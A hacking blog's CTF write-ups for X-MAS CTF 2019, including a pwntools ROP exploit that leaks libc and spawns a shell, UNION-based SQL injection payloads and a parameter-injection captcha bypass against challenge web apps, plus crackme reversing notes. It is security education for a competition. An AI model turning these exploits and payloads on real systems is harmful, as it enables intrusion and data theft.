Just another personal hacking blog

Get inside!

X-MAS19 CTF


Sn0wverfl0w

Discover

  • We are dealing with a 64-bit binary. Now we need to figure out which protections are enabled. This can with the checksec that comes with pwntools.
  • NX enabled, which stands for non-executable. This means we can't do a classic buffer overflow and place our shellcode onto the stack. We have to plan another strategy due to stack segment is non executable
  • ASLR is always enabled, of course.

Leak libc

A segmentation fault occurred when we entered a payload bigger than 18 characters. This means we overwrote the return address of the stack frame with A's which is 0x41 in hex, which is a invalid address that the program will jump to and then crash as the instruction does not exist.

We know we can't do shellcode exploitation due to NX protection in our buffer overflow vulnerability. What we can do instead is do a ROP attack. First we need to leak a LIBC address. I choose to leak libc address of puts. We need first to leak libc address, return to main for trigger again buffer overflow vulnerability and another ROP to pop a shell. Let's create a rop chain that will:

  • Overflow buffer until return address.
  • Call pop rdi; ret gadget.
  • Place puts@got onto the stack.
  • Call puts@plt.
  • Trigger main function.
from pwn import *
context(os = "linux", arch = "amd64")
context.log_level = 'DEBUG'

elf = ELF("./chall")

HOST = "challs.xmas.htsp.ro"
PORT = 12006
io = remote(HOST, PORT)


rop = ROP(elf)
PUTS = elf.got['puts']
putsplt = elf.plt['puts']
main = 0x401167
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]

log.info("puts@got: " + hex(PUTS))
log.info("puts@plt: "+ hex(putsplt))
log.info("pop rdi gadget: " + hex(POP_RDI))
log.info("main function: "+ hex(main))
base = '\x41'*18
raw_input() #just debug attach

rop = base
rop += p64(POP_RDI)
rop += p64(PUTS)
rop += p64(putsplt)
rop += p64(main)
io.recvuntil("snowmen?\n")
io.send(rop)
fucked_0xa = io.recvline()
leaked_puts = u64(io.recv(6).ljust(8, '\x00'))
log.info('Address of PUTS@LIBC: ' + hex(leaked_puts)) #take last 3 bytes and check in https://libc.nullbyte.cat/ for libc DB

Now we have managed to leak a libc address. Without knowing the version of the libc, it's impossible to calculate offsets to other libc functions. I recommend using this libc online database for remote exploiting: https://libc.nullbyte.cat/. We add offsets in our exploit:

#Once we check we take the first match: libc6_2.27-3ubuntu1_amd64
puts_offset = 0x0809c0
system_offset = 0x04f440
str_sh = 0x1b3e9a

Exploitation

Once we leak the address of the puts function, to calculate the address of the base libc we have to subtract the offset of the function puts of libc target: base_libc = function_libc - function_offset. In 64-bit binary the arguments are on registers, so let's create the second ROP!:

  • Overflow buffer until return address.
  • Call pop rdi; ret gadget.
  • Place /bin/sh string as argument.
  • ret gadget.
  • Call system function.
libc_base = leaked_puts - puts_offset
sys = p64(libc_base + system_offset)
sh = p64(libc_base + str_sh)

rop2 = base
rop2 += p64(POP_RDI)
rop2 += sh
rop2 += p64(0x000000000040101a) #ret
rop2 += sys
io.recvuntil("snowmen?")
io.send(rop2)
io.interactive()

Running the exploit we get shell.

n4ivenom@ubuntu:~/pwn/XMAS19$ python xpl_remote.py 
[*] '/home/n4ivenom/pwn/XMAS19/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to challs.xmas.htsp.ro on port 12006: Done
[*] Loaded cached gadgets for './chall'
[*] puts@got: 0x404018
[*] puts@plt: 0x40102c
[*] pop rdi gadget: 0x401273
[*] main function: 0x401167

[*] Address of PUTS@LIBC: 0x7f2a819bb9c0
[*] Switching to interactive mode

Mhmmm... Boring...
$ id
/bin/sh: 1: id: not found
$ ls
bin
chall
dev
flag.txt
lib
lib64
$ cat flag.txt
X-MAS{700_much_5n0000w}

Santa's crackme

Discover

  • We are dealing with a 64-bit binary. Now we need to figure out which assembly instruction is responsible for performing the check operation of our input with the program license.
  • The function strcmp is probably the most candidate to compare if our input is correct with the supposed license.
  • In .data section there is a flag_matrix which probably will be the key.

Solve

In disassembly using IDA we can see that a xor operation with 0x3 is performed and the result of that operation is compared with flag_matrix. We know that the xor operation is reversible therefore knowing all the values of flag_matrix and that the xor is always done with 0x3, we would have it solved!

loc_401193:
mov     eax, [rbp+var_8]
cdqe
movzx   eax, [rbp+rax+var_70]
xor     eax, 3
mov     [rbp+s1], al
mov     [rbp+var_71], 0
mov     eax, [rbp+var_8]
cdqe
add     rax, rax
lea     rdx, flag_matrix[rax] ; "[.NBPx67m47\\26\\a7g\\74\\o2`0m60\\`k0`"...
lea     rax, [rbp+s1]
mov     rsi, rdx        ; s2
mov     rdi, rax        ; s1
call    _strcmp
or      [rbp+var_4], eax
add     [rbp+var_8], 1

Running this script we get the flag!

key = [0x36, 0x37, 0x6d, 0x34, 0x37, 0x5c, 0x32, 0x36, 0x5c, 0x61, 0x37, 0x67, 0x5c, 0x37, 0x34, 0x5c, 0x6f, 0x32, 0x60, 0x30, 0x6d, 0x36, 0x30, 0x5c, 0x60, 0x6b, 0x30, 0x60, 0x68, 0x32, 0x6d, 0x35, 0x7e]
sol = []
for i in key:
    xor = i ^ 0x3
    sol.append(chr(xor))
print("Flag --> X-MAS{"+"".join(sol))

Sequel Fun

Discover

  • First we see that we have a login.
  • In the source code it gives us a parameter ?source=1, we make the request and it shows us the backend.
  • We will have to analyze the source code of the backend for a SQL injection.

Analysis of php code

Source code

if (isset ($_GET['source'])) {
  show_source ("index.php");
  die ();
}
include ("config.php");
if (isset ($_GET['user']) && isset ($_GET['pass'])) {
  $user = $_GET['user'];
  $pass = $_GET['pass'];
  if (strpos ($user, '1') === false && strpos ($pass, '1') === false) {
    $conn = new mysqli ($servername, $username, $password, $dbname);
    $result = mysqli_query ($conn, "SELECT * FROM users WHERE user='" . $user . "' AND pass='" . $pass . "'", MYSQLI_STORE_RESULT); // TO-DO: Remove elf:elf account

    if ($result === false) {
      echo "Our servers have run into a query error. Please try again later.";
    } else {
      if ($result->num_rows !== 0) {
        $row = mysqli_fetch_array ($result, MYSQLI_ASSOC);

        echo "You are logged in as: " . $row["user"];

        echo "b class='flag'";
        if ($row ["uid"] === "0")
          echo $flag;
        else
          echo "Welcome elf!";
        echo "";

      } else {
        echo "Login fail.";
      }
    }
  } else {
    echo "I don't like the number 1 :(";
  }
} else {
//html form
}

We tried to log in with elf:elf and it is a successful login but seeing the backend we cannot see the flag since we have to have a uid = 0, in the column of user table. In addition to that, it is filtered with strpos === 1, so it is well declared. Our payload may not contain any "1" because will go to the else condition where it shows that it does not like the number 1. Therefore the classic SQLi is not valid.

To start, we must determine how many columns exist using UNION SELECT 1,2,3, but of course in this case not using 1. We can do it with this payload: GET /?user=elf&pass=el+'UNION+SELECT+2,3,'4. When sending the payload it turns out that we log in as 3, therefore that column is user. What will be the previous one? Well, it's probably the uid, so if we put 0 instead of 2, we'll log in with the uid = 0 and boom! login bypass. This is the full request using Burpsuite:

GET /?user=elf&pass=el+'UNION+SELECT+0,3,'4 HTTP/1.1

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Dec 2019 13:49:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Content-Length: 287

Roboworld

Discover

  • We are dealing with a login panel.
  • We have access to backend flask source code.
  • The goal is bypass login authentication.

Analysis flask backend

Source code

from flask import Flask, render_template, request, session, redirect
import os
import requests
from captcha import verifyCaptchaValue

app = Flask(__name__)

@app.route('/')
def index():
    return render_template("index.html")

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('user')
    password = request.form.get('pass')
    captchaToken = request.form.get('captcha_verification_value')

    privKey = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" #redacted
    r = requests.get('http://127.0.0.1:{}/captchaVerify?captchaUserValue={}&privateKey={}'.format(str(port), captchaToken, privKey))
    #backdoored ;)))
    if username == "backd00r" and password == "catsrcool" and r.content == b'allow':
        session['logged'] = True
        return redirect('//redacted//')
    else:
        return "login failed"


@app.route('/captchaVerify')
def captchaVerify():
    #only 127.0.0.1 has access
    if request.remote_addr != "127.0.0.1":
        return "Access denied"

    token = request.args.get('captchaUserValue')
    privKey = request.args.get('privateKey')
    #TODO: remove debugging privkey for testing: 8EE86735658A9CE426EAF4E26BB0450E from captcha verification system
    if(verifyCaptchaValue(token, privKey)):
        return str("allow")
    else:
        return str("deny")
	

We must intercept the request with burpsuite and see what parameters are sent to the web application. Seeing the code of login function, we see that the parameters that are sent by POST are the user, password and captcha. We also see a variable privKey but it's redacted. Inside the login function there is a request to captchaVerify and in this request is passed two arguments: captchatoken and privkey. What!! It's passed just a privateKey parameter that we can control adding this in our request, with the debug key below (in captchaVerify function)

Flask only returns the first occurrence of a parameter in request.args.get, therefore, this function will read our parameter privateKey. In verifyCaptchaValue the intercepted token will be passed and our privateKey, if it is correct, it will return the return value "allow", this being our objective since r.content has to be equal to the value of request return get, with username and password.

The request payload with captchatoken intercept is like this:

POST /login HTTP/1.1
Host: challs.xmas.htsp.ro:11000
Content-Length: 114
Cache-Control: max-age=0
Origin: http://challs.xmas.htsp.ro:11000
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challs.xmas.htsp.ro:11000/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,ca;q=0.7
Connection: close

user=backd00r&pass=catsrcool&captcha_verification_value=cuUrfxb6r6%26privateKey%3d8EE86735658A9CE426EAF4E26BB0450E

If we send the request we have access with the hardcoded privateKey debug!

Execute No Evil

Discover

  • We are dealing with a search engine for a workers's database. Regardless of what you would like to find, it always gives the same result.
  • We have access to backend php source code.
  • The goal is read content from database.

HTTP request

GET /?name=aaaaaaaaa HTTP/1.1
Host: challs.xmas.htsp.ro:11002
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challs.xmas.htsp.ro:11002
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9,en;q=0.8
Connection: close

SQL injection

Source code

if (isset ($_GET['source'])) {
    show_source ("index.php");
    die ();
}

//html code


include ("config.php");
$conn = new mysqli ($servername, $username, $password, $dbname);

if (isset ($_GET['name'])) {
    $name = $_GET['name'];
    $name = str_replace ("*", "", $name);
    $records = mysqli_query ($conn, "SELECT * FROM users WHERE name=/*" . $name . "*/ 'Geronimo'", MYSQLI_USE_RESULT); // Don't tell boss

    if ($records === false) {
        die ("Our servers have run into a query error. Please try again later.");
    }

    echo 'table';
    echo '
    tr
        th Name /th
        th Description /th
    /tr';

    while ($row = mysqli_fetch_array ($records, MYSQLI_ASSOC)) {
        echo 'tr
            td',$row["name"],'/td
            td',$row["description"],'/td
        ';
    }

    echo 'table';
}

We see that what we send is in the $name variable. So we could use BurpSuite to intercept and modify the request that sets the name filter. Next we determine the number of columns that are being returned by the query. Verify that the query is returning two columns using this payload:

/?name=!+'a'+UNION+SELECT+0,3,6--

The output is Name value as 3 and Description value as 6. Ok nice! Now we use the following payload to display the database version:

/?name=!+'a'+UNION+SELECT+0,@@version,6--

So we can leak MySQL information. The next move is leak List databases with tables. Knowing that the user table exists, we can see if we show the user Geronimo. With this SQL injection we can get the two geronimo name in both columns:

/?name=! 'a' UNION SELECT name,name,name from users where name=--

We will use this union query and link it to the typical one that gives us information on the tables of the database. Because in the sql query you expect the value of hardcoded 'Geronimo', we have to nest two unions. With this SQL injection we can query all the tables:

/?name=! 'a' UNION SELECT 0,2,table_name from information_schema.tables UNION SELECT name,name,name from users where name=--

A table called flag comes out. Now we just have to modify the first query to determine the columns:

/?name=!+'a'+UNION+SELECT+0,2,column_name+from+information_schema.columns+UNION+SELECT+name,name,name+from+users+where+name%3d--

There is an interesting one called whatsthis. We modify now and we would already have the content of that column of the flag table:

/?name=!+'a'+UNION+SELECT+0,2,whatsthis+from+flag+UNION+SELECT+name,name,name+from+users+where+name%3d--

Boom! This is the value: X-MAS{What?__But_1_Th0ught_Comments_dont_3x3cvt3:(}

Last Christmas

Discover

  • We are dealing with a 64-bit binary. Now we need to figure out which algorithm is responsible for performing the check.
  • The binary apparently is packed.
  • In string view in IDA, we can see that the format flag X-MAS{} is not part of the password that we have to pass to the program, due to a format string %s.
  • There is some protection against debugger that does not allow me to analyze dynamically, showing a "Please go static :]" string.

Solve algorithm

We will start debugging using pwndbg and attach the process once the program is executed. Once the program is running it is unpacked in memory and we can dynamically analyze. We start by putting something like this: AAAA-BBBB-CCCC-DDDD. When we debug instruction by instruction we see a call to a very interesting function in 0x401c2d.

We enter into the function and we realize that it moves the key on stack.


   0x401c2d    push   rbp
   0x401c2e    mov    rbp, rsp
   0x401c31    push   r12
   0x401c33    push   rbx
   0x401c34    sub    rsp, 0x30
   0x401c38    mov    qword ptr [rbp - 0x38], rdi
   0x401c3c    mov    dword ptr [rbp - 0x14], 1
   0x401c43    movabs rax, 0x7652360726f57026
   0x401c4d    movabs rdx, 0x7b963800149c2537
   0x401c57    mov    qword ptr [rbp - 0x30], rax
   0x401c5b    mov    qword ptr [rbp - 0x28], rdx

Before entering another function, the contents of a binary address are set in the rax register as 0xe5894855, which contains the start of the prologue of a "push rbp" function in hex value. The return value of this function, the rax register, is always 0x13 and in the rbx register we have our content in hexadecimal previously seen corresponding to "push rbp". Next there is a arithmetic operation (+) between the last byte of hex value so this is 0x55, and 0x13. 0x55+0x13 = 0x68.

In the next instruction an xor operation is performed with our input and the last value 0x68. If the result of the xor operation is equal to the first value of the key 0x26, then it would be the first valid character of our input. Knowing that the xor operation is reversible, we do this operation 0x68^0x26 = "N" and we would have the first value of our input (N)

Once we know how the challenge is done, we write in a notepad the different operations to get the flag.

KEY = 0x7652360726f57026
KEY += 0x7b963800149c2537


0x401db4 brekpoint 1
0x401cae brekpoint 2


0xe5894855 PROLOGUE                        contenido          push rbp 
0x401c2e                                   direccion          mov    rbp, rsp
0x4830ec83                                 contenido          sub    esp, 0x30
0x401c30                                   direccion          in     eax, 0x41
0x1ec45                                    contenido          in     al, dx
0x401c32                                   direccion          push   rsp
0x401c45 (0x401c32+0x13)->0x26f57026       contenido          (fuckap shit)
0x401c34                                   direccion          sub    rsp, 0x30
0x401c4d ->0x2537ba48                      contenido          (fuckap shit)
0x401c36                                   direccion          in     al, dx
0x401c55 ->0x89487b96                      contenido          (fuckap shit)
0x401c38                                   direccion          (patron de 0x2 en 0x2 tron)
0x401c5d ->0x45c6d855                      contenido
0x401c3a                                   direccion
0x401c65 ->0xe8                            contenido
0x401c3c

0x55+0x13 = 0x68
0x68 ^ INPUT = 0x26 (FIRST INPUT OF KEY) == N

0x2e+0x13 = 0x41
0x41 ^ INPUT = 0x70 == 1

0x83+0x13= 0x96
0x96 ^INPUT = 0xf5 == c

0x30+0x13= 0x43
0x43^ INPUT = 0x26 == e

0x45+0x13 = 0x58
0x58^INPUT = 0x07 == _

0x32+0x13= 0x45
0x45^INPUT = 0x36 == s

0x26+0x13= 0x39
0x39^INPUT = 0x52 == k

0x34+0x13 = 0x47
0x47^INPUT = 0x76 == 1

0x48+0x13 = 0x5b
0x5b^INPUT = 0x37 == l

0x36+0x13 = 0x49
0x49^INPUT = 0x25 == l

0x96+0x13 = 0xa9
0xa9 ^ INPUT= 0x9c == 5

0x38+0x13 = 0x4b
0x4b^INPUT= 0x14 == _ 

0x55+0x13= 0x68
0x68^INPUT = 0x0 == h

0x3a+0x13 = 0x4d
0x4d^INPUT = 0x38 == u

0xe8+0x13 = 0xfb
0xfb^INPUT = 0x96 == m

0x3c+0x13 = 0x4f
0x4f^INPUT = 0x7b == 4

IT IS OBVIUS TRONKO!!!